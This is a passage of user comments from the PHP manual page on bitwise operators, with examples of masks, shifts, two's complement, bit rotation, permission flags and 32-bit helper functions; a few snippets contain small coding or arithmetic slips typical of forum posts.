$a                     0      0    0     0    1  0   0   1   =9
$b                     0      0    0     0    1   0  1   0   =10

result   8

 only bit they share together is the 8 bit. So 8 gets returned.

  $a =     36;
$b =     103;
echo $a & $b;

place value   128  64  32  16   8    4   2   1
$a                     0      0    1     0    0    1   0   0   =36
$b                     0      1    1     0    0    1   1   1   =103

result  32+4 = 36
the only bits these two share together are the bits 32 and 4 which when added together return 36.

$a =     9;
$b =     10;
echo $a | $b;

place value   128  64  32  16   8  4   2   1
$a                     0      0    0     0    1  0   0   1   =9
$b                     0      0    0     0    1   0  1   0   =10

result 8+2+1 = 11
 3 bits set, in the 8, 2, and 1 column.add those up 8+2+1 and you get 11

$a =     9;
$b =     10;
echo $a ^ $b;

place value   128  64  32  16   8  4   2   1
$a                     0      0    0     0    1  0   0   1   =9
$b                     0      0    0     0    1   0  1   0   =10

result  2+1 = 3
the 2 bit and the 1 bit that they each have set but don't share. Soooo 2+1 = 3
erich at seachawaii dot com 14-Dec-2012 12:15
Just a note regarding negative shift values, as the documentation states each shift is an integer multiply or divide (left or right respectively) by 2.  That means a negative shift value (the right hand operand) effects the sign of the shift and NOT the direction of the shift as I would have expected.
FE. 0xff >> -2 results in 0x0
and 0xff << -2 result in 0xFFFFFFFFC0000000 (dependant on PHP_INT_MAX)
frankemeks77 at yahoo dot com 21-Aug-2012 10:24
Just learning Bitwise Shift Operators.

The easiest way to resolve a bitwise  shift operators is my multiply or dividing each step by two for left shift or right shift respectively

Example:

LEFT SHIFT
<?php echo 8 << 3; //64 ?>

//same as
<?php echo 8 * 2 * 2 * 2; ?>

RIGHT SHIFT
<?php echo 8 >> 3; //1 ?>

//same as
<?php echo ((8/2)/2)/2; //1 ?>

//Solving on a paper 8/2 = 4/2 = 2/2 = 1
wbcarts at juno dot com 17-May-2012 12:52
BITWISE FLAGS for Custom PHP Objects

Sometimes I need a custom PHP Object that holds several boolean TRUE or FALSE values. I could easily include a variable for each of them, but as always, code has a way to get unweildy pretty fast. A more intelligent approach always seems to be the answer, even if it seems to be overkill at first.

I start with an abstract base class which will hold a single integer variable called $flags. This simple integer can hold 32 TRUE or FALSE boolean values. Another thing to consider is to just set certain BIT values without disturbing any of the other BITS -- so included in the class definition is the setFlag($flag, $value) function, which will set only the chosen bit. Here's the abstract base class definition:

<?php

# BitwiseFlag.php

abstract class BitwiseFlag
{
  protected $flags;

  /*
   * Note: these functions are protected to prevent outside code
   * from falsely setting BITS. See how the extending class 'User'
   * handles this.
   *
   */
  protected function isFlagSet($flag)
  {
    return (($this->flags & $flag) == $flag);
  }

  protected function setFlag($flag, $value)
  {
    if($value)
    {
      $this->flags |= $flag;
    }
    else
    {
      $this->flags &= ~$flag;
    }
  }
}

?>

The class above is abstract and cannot be instantiated, so an extension is required. Below is a simple extension called User -- which is severely truncated for clarity. Notice I am defining const variables AND methods to use them.

<?php

# User.php

require('BitwiseFlag.php');

class User extends BitwiseFlag
{
  const FLAG_REGISTERED = 1; // BIT #1 of $flags has the value 1
  const FLAG_ACTIVE = 2;     // BIT #2 of $flags has the value 2
  const FLAG_MEMBER = 4;     // BIT #3 of $flags has the value 4
  const FLAG_ADMIN = 8;      // BIT #4 of $flags has the value 8

  public function isRegistered(){
    return $this->isFlagSet(self::FLAG_REGISTERED);
  }

  public function isActive(){
    return $this->isFlagSet(self::FLAG_ACTIVE);
  }

  public function isMember(){
    return $this->isFlagSet(self::FLAG_MEMBER);
  }

  public function isAdmin(){
    return $this->isFlagSet(self::FLAG_ADMIN);
  }

  public function setRegistered($value){
    $this->setFlag(self::FLAG_REGISTERED, $value);
  }

  public function setActive($value){
    $this->setFlag(self::FLAG_ACTIVE, $value);
  }

  public function setMember($value){
    $this->setFlag(self::FLAG_MEMBER, $value);
  }

  public function setAdmin($value){
    $this->setFlag(self::FLAG_ADMIN, $value);
  }

  public function __toString(){
    return 'User [' .
      ($this->isRegistered() ? 'REGISTERED' : '') .
      ($this->isActive() ? ' ACTIVE' : '') .
      ($this->isMember() ? ' MEMBER' : '') .
      ($this->isAdmin() ? ' ADMIN' : '') .
    ']';
  }
}

?>

This seems like a lot of work, but we have addressed many issues, for example, using and maintaining the code is easy, and the getting and setting of flag values make sense. With the User class, you can now see how easy and intuitive bitwise flag operations become.

<?php

require('User.php')

$user = new User();
$user->setRegistered(true);
$user->setActive(true);
$user->setMember(true);
$user->setAdmin(true);

echo $user;  // outputs: User [REGISTERED ACTIVE MEMBER ADMIN]

?>
Anonymous 12-Oct-2011 04:56
To make very clear why ("18" & "32") is "10".
1) they they are both strings ,
2) "&" operator works on strings by taking each !Character! from each string and make a bit wise & between them and add this value to the resulting string

So:
"18" is made up of two characters: 0x31, 0x38
"32" is made up of two characters: 0x33, 0x32
----RESULT-----
0x31 & 0x33 = 0x31 => "1"
0x38 & 0x32 = 0x30 => "0"

and the result is "10" which is 100% correct.
spencer-p-moy at example dot com 18-Sep-2011 03:21
The NOT or complement operator ( ~ ) and negative binary numbers can be confusing.

~2 = -3  because you use the formula  ~x = -x - 1  The bitwise complement of a decimal number is the negation of the number minus 1.

NOTE: just using 4 bits here for the examples below but in reality PHP uses 32 bits.

Converting a negative decimal number (ie: -3) into binary takes 3 steps:
1) convert the positive version of the decimal number into binary (ie: 3 = 0011)
2) flips the bits (ie: 0011 becomes 1100)
3) add 1 (ie: 1100  + 0001 = 1101)

You might be wondering how does 1101 = -3. Well PHP uses the method "2's complement" to render negative binary numbers. If the left most bit is a 1 then the binary number is negative and you flip the bits and add 1. If it is 0 then it is positive and you don't have to do anything. So 0010 would be a positive 2. If it is 1101, it is negative and you flip the bits to get 0010. Add 1 and you get 0011 which equals -3.
aba at example dot com 12-Aug-2011 02:07
It is true that if both the left-hand and right-hand parameters are strings, the bitwise operator will operate on the characters' ASCII values. However, a complement is necessary to complete this sentence.
It is not irrelevant to point out that the decimal character's ASCII value have different binary values.

<?php
if (('18' & '32') == '10') {
    echo ord('18'); //return decimal value 49, which have binary value 110001
    echo ord('32'); //return decimal value 51, which have binary value 110011
    echo ord('10'); //return decimal value 49, which have binary value 110001
    //Therefore 110001 & 110011 = 110001
}
?>
ivoras at gmail dot com 06-Jun-2011 01:44
As an additional curiosity, for some reason the result of the operation ("18" & "32") is "10". In other words, try avoiding using the binary operators on strings :)
josh at joshstrike dot com 12-Feb-2011 04:54
More referencing this for myself than anything... if you need to iterate through every possible binary combination where $n number of flags are set to 1 in a mask of $bits length:

<?php
echo masksOf(3,10);

function masksOf($n,$bits) {
    $u = pow(2,$bits)-1; //start value, full flags on.
    $masks = array();
    while ($u>0) {
        $z = numflags($u);
        if ($z==$n) array_push($masks,$u);
        $u--;
    }
    return ($masks);
}

function numflags($n) {
    $k = 0;
    while ($n) {
        $k += $n & 1;
        $n = $n >> 1;
    }
    return ($k);

//    alternately:
//    $u = 0;
//    for ($k=1;$k<=$n;$k*=2) {
//        $u+=($n&$k?1:0);
//    }
//    return ($u);
}
?>
amckenzie4 at gmail dot com 25-Aug-2010 05:19
If, like me, you've never thought about how PHP deals with binary, the output of the bitwise NOT may confuse you.  For instance, this:

$bin = 2;
$notbin = ~$bin;

echo "Bin: " . decbin($bin) . "  !bin:  " . decbin($notbin) . "\n";

returns this:

Bin: 10  !bin:  1111111111111111111111111111111111111111111111111111111111111101

The reason is that all binary numbers are treated as 32 bits, even if you've manually entered less.  In order to get the result I expected (01), it was necessary to AND the result with the number of bits I wanted:  in this case, 2 (the number 3, in decimal).  Be aware that all return values will have zeros removed from the left until they reach a bit that is set to 1.  Continuing the above example, the following:

$notbin_2 = ~$bin & '3';
echo "!bin & 3:  " . decbin($notbin_2) . "\n";

returns this:

!bin & 3:  1

Note that the actual value was a string of 31 zeros followed by a 1, but the zeros were not shown.  This is probably a good thing.

Furthermore, the NOT operator uses two's complement, which means the number you get may be even stranger than you expect:  using two's complement means that ~2 == -3.  There are plenty of good explanations of two's complement online, so I won't go into that question here.

If what you want is just to reverse a string of bits without any interpretation, you can use a function like this:

function bitnot($bin)
 {
   $not = "";
   for ($i = 0; $i < strlen($bin); $i++)
   {
      if($bin[$i] == 0) { $not .= '1'; }
      if($bin[$i] == 1) { $not .= '0'; }
   }
   return $not;
 }

It takes a binary string of any length, reverses the bits, and returns the new string.  You can then treat it as a binary number, use bindec() to turn it into a decimal, or whatever you want.

I hope this helps someone as much as it would have helped me a week ago!
Core Xii 11-Aug-2010 07:24
Be very careful when XOR-ing strings! If one of the values is empty (0, '', null) the result will also be empty!

<?php
var_dump(1234 ^ 0); // int(1234)
var_dump(1234 ^ ''); // int(1234)
var_dump(1234 ^ null); // int(1234)
var_dump('hello world' ^ 0); // int(0)
var_dump('hello world' ^ ''); // string(0) ""
var_dump('hello world' ^ null); // int(0)
?>

This seems rather inconsistent behavior. An integer XOR'd with zero results the original integer. But a string XOR'd with an empty value results an empty value!

My password hashing function was always returning the same hash... Because I was XOR-ing it with a salt that was sometimes empty!
Adam 15-May-2010 10:25
Be careful of order of operations.

for example, you may want to check if the second bit is set:

<?php
if ($x & 2 == 2) {
    /* code */
}
?>

is different than

<?php
if (($x & 2) == 2) {
    /* code */
}
?>

and the latter of the two should be used.
Anonymous 12-Jan-2010 07:18
Beware that PHP's << and >> operators, unlike the other bitwise operators do not work on ASCII values; << and >> cast their operands to integer (when possible) before shifting and will always return an integer result.

For example:

<?php
$foo = "1"; // chr(49)
var_dump($foo << 1); // Output is int(2)

$foo = "!"; // chr(33)
var_dump($foo << 1); // Output is int(0)
?>
Alex 11-Nov-2009 07:10
Okay, I'm twelve, and I am new to PHP, but I created the following -simple- functions:
<?php

function Isdec($num) {
if(round($num)==$num) {
return false;
}
else {
return true;
}
}

function decshiftl($number, $amount){
if(Isdec($number)) {
$decimal = substr($number, (strlen($number) - round($number) + 1));
$decimal*=pow(10,strlen($decimal) - 1);
$Shiftl = ($number << $amount) + (($decimal << $amount) / pow(10,strlen($decimal)));
}
else {
$Shiftl = $number << $amount;
}
return $Shiftl;
}

function decshiftr($number, $amount){
if(Isdec($number)) {
$decimal = substr($number, (strlen($number) - round($number) + 1));
$decimal*=pow(10,strlen($decimal) - 1);
$Shiftr = ($number >> $amount) + (($decimal >> $amount) / pow(10,strlen($decimal)));
}
else {
$Shiftr = $number >> $amount;
}
return $Shiftr;
}
?>
Anyway, it's just shoving parameters in to an equation, but sometimes reinventing the wheel and putting rockets on it is a good thing.
zooly at globmi dot com 19-Oct-2009 04:52
Here is an example for bitwise leftrotate and rightrotate.

Note that this function works only with decimal numbers - other types can be converted with pack().

<?php

function rotate ( $decimal, $bits) {

  $binary = decbin($decimal);

  return (
    bindec(substr($binary, $bits).substr($binary, 0, $bits))
  );

}

// Rotate 124 (1111100) to the left with 1 bits

echo rotate(124, 1);

// = 121 (1111001)

// Rotate 124 (1111100) to the right with 3 bits

echo rotate(124, -3);

// = 79 (1001111)

?>
grayda dot NOSPAM at DONTSPAM dot solidinc dot org 04-Jun-2009 05:48
Initially, I found bitmasking to be a confusing concept and found no use for it. So I've whipped up this code snippet in case anyone else is confused:

<?php

    // The various details a vehicle can have
    $hasFourWheels = 1;
    $hasTwoWheels  = 2;
    $hasDoors      = 4;
    $hasRedColour  = 8;

    $bike          = $hasTwoWheels;
    $golfBuggy     = $hasFourWheels;
    $ford          = $hasFourWheels | $hasDoors;
    $ferrari       = $hasFourWheels | $hasDoors | $hasRedColour;

    $isBike        = $hasFourWheels & $bike; # False, because $bike doens't have four wheels
    $isGolfBuggy   = $hasFourWheels & $golfBuggy; # True, because $golfBuggy has four wheels
    $isFord        = $hasFourWheels & $ford; # True, because $ford $hasFourWheels

?>

And you can apply this to a lot of things, for example, security:

<?php

    // Security permissions:
    $writePost = 1;
    $readPost = 2;
    $deletePost = 4;
    $addUser = 8;
    $deleteUser = 16;

    // User groups:
    $administrator = $writePost | $readPosts | $deletePosts | $addUser | $deleteUser;
    $moderator = $readPost | $deletePost | $deleteUser;
    $writer = $writePost | $readPost;
    $guest = $readPost;

    // function to check for permission
    function checkPermission($user, $permission) {
        if($user & $permission) {
            return true;
        } else {
            return false;
        }
    }

    // Now we apply all of this!
    if(checkPermission($administrator, $deleteUser)) {
        deleteUser("Some User"); # This is executed because $administrator can $deleteUser
    }

?>

Once you get your head around it, it's VERY useful! Just remember to raise each value by the power of two to avoid problems
Silver 13-May-2009 01:36
Regarding what Bob said about flags, I'd like to point out there's a 100% safe way of defining flags, which is using hexadecimal notation for integers:

<?php
define("f0", 0x1); // 2^0
define("f1", 0x2); // 2^1
define("f2", 0x4); // 2^2
define("f3", 0x8); // 2^3
define("f4", 0x10); // 2^4
define("f5", 0x20); // 2^5
// ...
define("f20", 0x1000000); // 2^20
define("f21", 0x2000000); // 2^21
define("f22", 0x4000000); // 2^22
define("f23", 0x8000000); // 2^23
define("f24", 0x10000000); // 2^24
// ... up to 2^31
?>

I always avoid using decimal notation when I have a large amount of different flags, because it's very easy to misspell numbers like 2^20 (1048576).
Bob 26-Apr-2009 09:19
Here is an easy way to use bitwise operation for 'flag' functionality.
By this I mean managing a set of options which can either be ON or OFF, where zero or more of these options may be set and each option may only be set once. (If you are familiar with MySQL, think 'set' datatype).
Note: to older programmers, this will be obvious.

Here is the code:
<?php
function set_bitflag(/*variable-length args*/)
{
    $val = 0;
    foreach(func_get_args() as $flag) $val = $val | $flag;
    return $val;
}
function is_bitflag_set($val, $flag)
{
    return (($val & $flag) === $flag);
}
// Define your flags
define('MYFLAGONE', 1); // 0001
define('MYFLAGTWO', 2); // 0010
define('MYFLAGTHREE', 4); // 0100
define('MYFLAGFOUR', 8); // 1000
?>

I should point out: your flags are stored in a single integer. You can store loads of flags in a single integer.

To use my functions, say you wanted to set MYFLAGONE and MYFLAGTHREE, you would use:
<?php
$myflags = set_bitflags(MYFLAGONE, MYFLAGTHREE);
?>
Note: you can pass set_bitflags() as many flags to set as you want.

When you want to test later if a certain flag is set, use e.g.:
<?php
if(is_bitflag_set($myflags, MYFLAGTWO))
{
    echo "MYFLAGTWO is set!";
}
?>

The only tricky part is defining your flags. Here is the process:
1.  Write a list of your flags
2.  Count them
3.  Define the last flag in your list as 1 times 2 to the power of <count> minus one. ( I.E. 1*2^(<count>-1) )
3. Working backwards through your list, from the last to the first, define each one as half of the previous one. You should reach 1 when you get to the first

If you want to understand binary numbers, bits and bitwise operation better, the wikipedia page explains it well - http://en.wikipedia.org/wiki/Bitwise_operation.
cw3theophilus at gmail dot com 15-Apr-2009 11:22
For those who are looking for a circular bit shift function in PHP (especially useful for cryptographic functions) that works with negtive values, here is a little function I wrote:

(Note: It took me almost a whole day to get this to work with negative $num values (I couldn't figure out why it sometimes worked and other times didn't), because PHP only has an arithmatic and not a logical bitwise right shift like I am used to. I.e. 0x80000001>>16 will ouputs (in binary) "1111 1111 1111 1111 1000 0000 0000 0000" instead of "0000 0000 0000 0000 1000 0000 0000 0000" like you would expect. To fix this you have to apply the mask (by bitwise &) equal to 0x7FFFFFFF right shifted one less than the offset you are shifting by.)

<?php
function circular_shift($num,$offset) { //Do a nondestructive circular bitwise shift, if offset positive shift left, if negative shift right
    $num=(int)$num;
    $mask=0x7fffffff; //Mask to cater for the fact that PHP only does arithmatic right shifts and not logical i.e. PHP doesn't give expected output when right shifting negative values
    if ($offset>0) {
        $num=($num<<$offset%32) | (($num>>(32-$offset%32)) & ($mask>>(31-$offset%32)));
    }
    elseif ($offset<0){
        $offset=abs($offset);
        $num=(($num>>$offset%32) & ($mask>>(-1+$offset%32))) | ($num<<(32-$offset%32));
    }
    return $num;
}
?>
m0sh at hotmail dot com 07-Aug-2008 09:03
@greenone - nice function, thanks. I've adapted it for key usage:

<?php
function bitxor($str, $key) {
    $xorWidth = PHP_INT_SIZE*8;
    // split
    $o1 = str_split($str, $xorWidth);
    $o2 = str_split(str_pad('', strlen($str), $key), $xorWidth);
    $res = '';
    $runs = count($o1);
    for($i=0;$i<$runs;$i++)
        $res .= decbin(bindec($o1[$i]) ^ bindec($o2[$i]));
    return $res;
}
?>
bartbons at debster.nl 07-Apr-2008 11:27
@kendsnyder at gmail dot com

Thanx for your great function. But your function is not 100% correct. It should be:

function safeBitCheck($number,$comparison) {
    if( $number < 2147483647 ) {
        return ($number & $comparison)==$comparison;
    } else {
        $binNumber = strrev(base_convert($number,10,2));
        $binComparison = strrev(base_convert($comparison,10,2));
        for( $i=0; $i<strlen($binComparison); $i++ ) {
            if( strlen($binNumber) - 1 <$i || ($binComparison{$i}==="1" && $binNumber{$i}==="0") ) {
                return false;
            }
        }
        return true;
    }
}

Mind the 'minus 1' on "if( strlen($binNumber) - 1 <$i".

cheers, Bart
forlamp at msn dot com 07-Dec-2007 03:35
two's complement logical operation for 32-bit.

$x must be (int) when passing it to this function to work properly.

function comp2($x)      // 32bit bitwise complement
{
    $mask = 0x80000000;

    if ($x < 0)
    {
        $x &= 0x7FFFFFFF;
        $x = ~$x;

        return $x ^ $mask;
    }
    else
    {
        $x = $x ^ 0x7FFFFFFF;

        return $x | $mask;
    }
}
gcG 02-Mar-2007 01:23
function xnor($a, $b) {
    return ~($a ^ $b);
}
XNOR is very usefull ;D
bryanagee at gmail dot com 08-Feb-2007 08:19
I found the 31-bit limitation on the bitwise ands to be a bit frustrating in large scale permission control applications. I have a situation involving page-level access with more than 50 pages. I was able to workaround the limitation by adding a loop that dropped 31 bits off of the right until the resource identifier bit is within the first 31.

<?php
        $userlevel = $session->userlevel - 0;  # the subtraction ensures int type
        $pg_code = pow(2,($pg_id-1));

        while ($pg_code >= 2147483648)  {
                $pg_code =  $pg_code/pow(2,31);
                $userlevel = $session->userlevel/pow(2,31) ;
        }
        if (!($userlevel - 0 & $pg_code)) {
                #if not authorized, show the unauthorized page
                header('Location: Unauthorized.php');
                exit;
        }
?>
zewt at hotmail dot com 12-Jan-2007 08:28
if you use bitwise you MUST make sure your variables are integers, otherwise you can get incorrect results.

I recommend ALWAYS

(int)$var & (int)$var2

This will save you many headaches when troubleshooting a completely illogical result.
rizal dot almashoor at gmail dot com 14-Nov-2006 01:12
The following function will perform a 32-bit left shift on a 64-bit machine:

<?php
function leftshift32($number, $steps)
{
    $binary = decbin($number).str_repeat("0", $steps);
    $binary = str_pad($binary, 32, "0", STR_PAD_LEFT);
    $binary = substr($binary, strlen($binary) - 32);
    return $binary{0} == "1" ? -(pow(2, 31) - bindec(substr($binary, 1))) : bindec($binary);
}
?>
Xavier Daull 04-Feb-2006 10:34
<?php

// Extract part of a binary data - due to windows system limitations (and this code), bit extracted length($firstbit to $lastbit included) is limited to 31 bits
function sub_bindata($mybindata, $firstbit = 7, $lastbit = 0, $highestbitfirst = true)
{
    // 1. Create a bit mask of the right size by triming left and right
    // 2. select bits by an AND on $mybindata
    // 3. shift right to get only length needed
    if($highestbitfirst) return (((0x7FFFFFFF >> (30+$lastbit-$firstbit))<<($lastbit)) & $mybindata) >> ($lastbit);
    else return (((0x7FFFFFFF >> (30-$lastbit+$firstbit))<<(30-$lastbit)) & $mybindata) >> (30-$lastbit);
}

?>
John L 02-Feb-2006 11:11
Bitwise operators are swell, but (a & b & c & d) == a
is not a way to test for four-way equality. If a is zero, it'll always be true, and in general it will be true any time a has no bits not also in the other three values.
Nina Cording 29-Oct-2005 06:50
For those who were searching for a way to actually rotate the bits of a number, here are some little functions I wrote:

<?php

function bitRotate32($value,$amount) {
    if ($amount>0) {
        $amount %= 32;
        $value = ($value<<$amount) | ($value>>(32-$amount));
    } elseif ($amount<0) {
        $amount = -$amount%32;
        $value = ($value>>$amount) | ($value<<(32-$amount));
    }
    return $value;
}

function bitRotate($value,$amount,$bits) {
    $mask = ($bits<32) ? 0x7fffffff >> (31-$bits) : 0xffffffff;
    if ($amount>0) {
        $amount %= $bits;
        $value = ($value<<$amount) | ($value>>($bits-$amount));
    } elseif ($amount<0) {
        $amount = -$amount%$bits;
        $value = ($value>>$amount) | ($value<<($bits-$amount));
    }
    return $value & $mask;
}

// test the rotation:

$test = 4123;
for ($i=0; $i<64; $i++) {
    $value = bitRotate($test,-$i,8); // rotates 8 bits to the left (-$amount)
    echo sprintf("%032b<br/>",$value);
}

?>
zlel grxnslxves13 at hotmail dot com~=s/x/ee/g 27-Oct-2005 04:30
I refer to Eric Swanson's post on Perl VS PHP's implementation of xor.

Actually, this is not an issue with the implementation of XOR,  but a lot more to do with the lose-typing policy that PHP adopts.

Freely switching between int and float is good for most cases, but problems happen when your value is near the word size of your machine. Which is to say, 32-bit machines will encounter problems with values that hover around 0x80000000 - primarily because PHP does not support unsigned integers.

using bindec/decbin would address this issue as a work-around to do unsigned-int xor, but here's the real picture (i'm not claiming that this code will perform better, but this would be a better pedagogical code):

<?php

function unsigned_xor32 ($a, $b)
{
        $a1 = $a & 0x7FFF0000;
        $a2 = $a & 0x0000FFFF;
        $a3 = $a & 0x80000000;
        $b1 = $b & 0x7FFF0000;
        $b2 = $b & 0x0000FFFF;
        $b3 = $b & 0x80000000;

        $c = ($a3 != $b3) ? 0x80000000 : 0;

        return (($a1 ^ $b1) |($a2 ^ $b2)) + $c;
}

$x = 3851235679;
$y = 43814;
echo "<br>This is the value we want";
echo "<br>3851262585";

echo "<br>The result of a native xor operation on integer values is treated as a signed integer";
echo "<br>".($x ^ $y);

echo "<br>We therefore perform the MSB separately";
echo "<br>".unsigned_xor32($x, $y);

?>

This is really foundation stuff, but for those of you who missed this in college, there seems to be something on 2's complement here:

http://www.evergreen.edu/biophysics/technotes/program/2s_comp.htm
zlel 27-Oct-2005 02:22
Here're my 32-bit carry-discarding operations for those of you porting encryption algorithms from C.

Be warned that some of these are not very efficient compared to the native operations, especially when called by heavy-duty encryption algorithms - but not discarding the carry bit may not land you the same results you get in C, simply because PHP's bitwise operations were not designed to work on fixed-sized registers.

(If your ported encryption algo still doen't give you the same results, remember to check your Endian-ness!)

function _BF_SHR32 ($x, $bits)
{
    if ($bits==0) return $x;
    if ($bits==32) return 0;
    $y = ($x & 0x7FFFFFFF) >> $bits;
    if (0x80000000 & $x) {
        $y |= (1<<(31-$bits));
    }
    return $y;
}

function _BF_SHL32 ($x, $bits)
{
    if ($bits==0) return $x;
    if ($bits==32) return 0;
    $mask = (1<<(32-$bits)) - 1;
    return (($x & $mask) << $bits) & 0xFFFFFFFF;
}

function _BF_GETBYTE ($x, $y)
{
    return _BF_SHR32 ($x, 8 * $y) & 0xFF;
}

function _BF_OR32 ($x, $y)
{
    return ($x | $y) & 0xFFFFFFFF;
}

function _BF_ADD32 ($x, $y)
{

    $x = $x & 0xFFFFFFFF;
    $y = $y & 0xFFFFFFFF;

    $total = 0;
    $carry = 0;
    for ($i=0; $i<4; $i++) {
        $byte_x = _BF_GETBYTE($x, $i);
        $byte_y = _BF_GETBYTE($y, $i);
        $sum = $byte_x + $byte_y;

        $result = $sum & 0xFF;
        $carryforward = _BF_SHR32($sum, 8);

        $sum = $result + $carry;
        $result = $sum & 0xFF;
        $carry = $carryforward + _BF_SHR32($sum, 8);

        $total = _BF_OR32(_BF_SHL32($result, $i*8), $total);
    }

    return $total;
}
Tbrendstrup 29-Sep-2005 02:23
note that the shift operators are arithmetic, not logic like in C. You may get unexpected results with negative numbers, see http://en.wikipedia.org/wiki/Bitwise_operation

here's a function to do logic right shifts.

<?php

function lshiftright($var,$amt)
{
    $mask = 0x40000000;
    if($var < 0)
    {
        $var &= 0x7FFFFFFF;
        $mask = $mask >> ($amt-1);
        return ($var >> $amt) | $mask;
    }
    return $var >> $amt;
}

$val = -10;

printf("arithmetic shift on a negative integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",$val, $val >> 1 );

printf("logic shift on a negative integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",$val, lshiftright($val, 1));

printf("logic shift on a positive integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",-$val, lshiftright(-$val, 1));
?>

gives the output:

arithmetic shift on a negative integer
11111111111111111111111111110110
11111111111111111111111111111011
-10
-5

logic shift on a negative integer
11111111111111111111111111110110
01111111111111111111111111111011
-10
2147483643

logic shift on a positive integer
00000000000000000000000000001010
00000000000000000000000000000101
10
5
Eric Swanson 01-Sep-2005 02:19
Perl vs. PHP implementation of the ^ operator:

After attempting to translate a Perl module into PHP, I realized that Perl's implementation of the ^ operator is different than the PHP implementation.  By default, Perl treats the variables as floats and PHP as integers.  I was able to verify the PHP use of the operator by stating "use integer;" within the Perl module, which output the exact same result as PHP was using.

The logical decision would be to cast every variable as (float) when using the ^ operator in PHP.  However, this will not yield the same results.  After about a half hour of banging my head against the wall, I discovered a gem and wrote a function using the binary-decimal conversions in PHP.

/*
not having much experience with bitwise operations, I cannot tell you that this is the BEST solution, but it certainly is a solution that finally works and always returns the EXACT same result Perl provides.
*/
function binxor($a, $b) {
    return bindec(decbin((float)$a ^ (float)$b));
}

//normal PHP code will not yeild the same result as Perl
$result = 3851235679 ^ 43814; //= -443704711

//to get the same result as Perl
$result = binxor(3851235679, 43814); //= 3851262585
//YIPPEE!!!

//to see the differences, try the following
$a = 3851235679 XOR 43814;
$b = 3851235679 ^ 43814; //integer result
$c = (float)3851235679 ^ (float)43814; //same as $b
$d = binxor(3851235679, 43814); //same as Perl!!

echo("A: $a<br />");
echo("B: $b<br />");
echo("C: $c<br />");
echo("D: $d<br />");
19-Apr-2005 04:28
Another practical case...

<?php
    header('Content-Type: text/plain') ;

    // We want to know the power-2 based numbers of $x
    $x = 9124 ;

    $n = 1 ;
    while ( $x > 0 ) {
        if ( $x & 1 == 1 ) {
            echo $n, "\n" ;
        }
        $n *= 2 ;
        $x >>= 1 ;
    }

    // Will output...
    // 4
    // 32
    // 128
    // 256
    // 512
    // 8192
?>
05-Mar-2005 12:13
A bitwise operators practical case :

<?php
    // We want to know the red, green and blue values of this color :
    $color = 0xFEA946 ;

    $red = $color >> 16 ;
    $green = ($color & 0x00FF00) >> 8 ;
    $blue = $color & 0x0000FF ;

    printf('Red : %X (%d), Green : %X (%d), Blue : %X (%d)',
        $red, $red, $green, $green, $blue, $blue) ;

    // Will display...
    // Red : FE (254), Green : A9 (169), Blue : 46 (70)
?>
icy at digitalitcc dot com 24-Feb-2005 08:24
Say... you really want to have say... more than 31 bits available to you in your happy bitmask. And you don't want to use floats. So, one solution would to have an array of bitmasks, that are accessed through some kind of interface.

Here is my solution for this: A class to store an array of integers being the bitmasks. It can hold up to 66571993087 bits, and frees up unused bitmasks when there are no bits being stored in them.

<?php
/*
    Infinite* bits and bit handling in general.

    *Not infinite, sorry.

    Perceivably, the only limit to the bitmask class in storing bits would be
    the maximum limit of the index number, on 32 bit integer systems 2^31 - 1,
    so 2^31 * 31 - 1 = 66571993087 bits, assuming floats are 64 bit or something.
    I'm sure that's enough enough bits for anything.. I hope :D.
*/

DEFINE('INTEGER_LENGTH',31); // Stupid signed bit.

class bitmask
{
    protected $bitmask = array();

    public function set( $bit ) // Set some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] |= 1 << $bit;
    }

    public function remove( $bit ) // Remove some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] &= ~ (1 << $bit);
        if(!$this->bitmask[$key])
            unset($this->bitmask[$key]);
    }

    public function toggle( $bit ) // Toggle some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] ^= 1 << $bit;
        if(!$this->bitmask[$key])
            unset($this->bitmask[$key]);
    }

    public function read( $bit ) // Read some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        return $this->bitmask[$key] & (1 << $bit);
    }

    public function stringin($string) // Read a string of bits that can be up to the maximum amount of bits long.
    {
        $this->bitmask = array();
        $array = str_split( strrev($string), INTEGER_LENGTH );
        foreach( $array as $key => $value )
        {
            if($value = bindec(strrev($value)))
                $this->bitmask[$key] = $value;
        }
    }

    public function stringout() // Print out a string of your nice little bits
    {
        $string = "";

        $keys = array_keys($this->bitmask);
        sort($keys, SORT_NUMERIC);

        for($i = array_pop($keys);$i >= 0;$i--)
        {
            if($this->bitmask[$i])
                $string .= sprintf("%0" . INTEGER_LENGTH . "b",$this->bitmask[$i]);
        }
        return $string;
    }

    public function clear() // Purge!
    {
        $this->bitmask = array();
    }

    public function debug() // See what's going on in your bitmask array
    {
        var_dump($this->bitmask);
    }
}
?>

It treats a positive integer input as a bit, so you don't have to deal with the powers of 2 yourself.

<?php
$bitmask = new bitmask();

$bitmask->set(8979879); // Whatever

$bitmask->set(888);

if($bitmask->read(888))
    print 'Happy!\n';

$bitmask->toggle(39393); // Yadda yadda

$bitmask->remove(888);

$bitmask->debug();

$bitmask->stringin("100101000101001000101010010101010
00000001000001");

print $bitmask->stringout() . "\n";

$bitmask->debug();

$bitmask->clear();

$bitmask->debug();
?>

Would produce:

Happy!

array(2) {
  [289673]=>
  int(65536)
  [1270]=>
  int(8388608)
}

0000000000000001001010001010010001010100101010100
0000001000001

array(2) {
  [0]=>
  int(355106881)
  [1]=>
  int(37970)
}

array(0) {
}
louis /at/ mulliemedia.com 20-Jan-2005 11:12
Note that the ^ operator, unlike in some other languages, is *not* the same as the pow() function.
richard-slater.co.uk 22-Feb-2004 10:07
For those (like me) who are trying to do bit masking with very large numbers, here is a useful function to do the work for you.

<?php
  function isBitSet($bitMask, $bitMap)
  {
    return (bool) gmp_intval(gmp_div(gmp_and($bitMask, $bitMap),$bitMask));
  }
?>
krang at krang dot org dot uk 04-Dec-2003 11:30
Hopefully this may help someone understand the fun of Bitwise Operators....

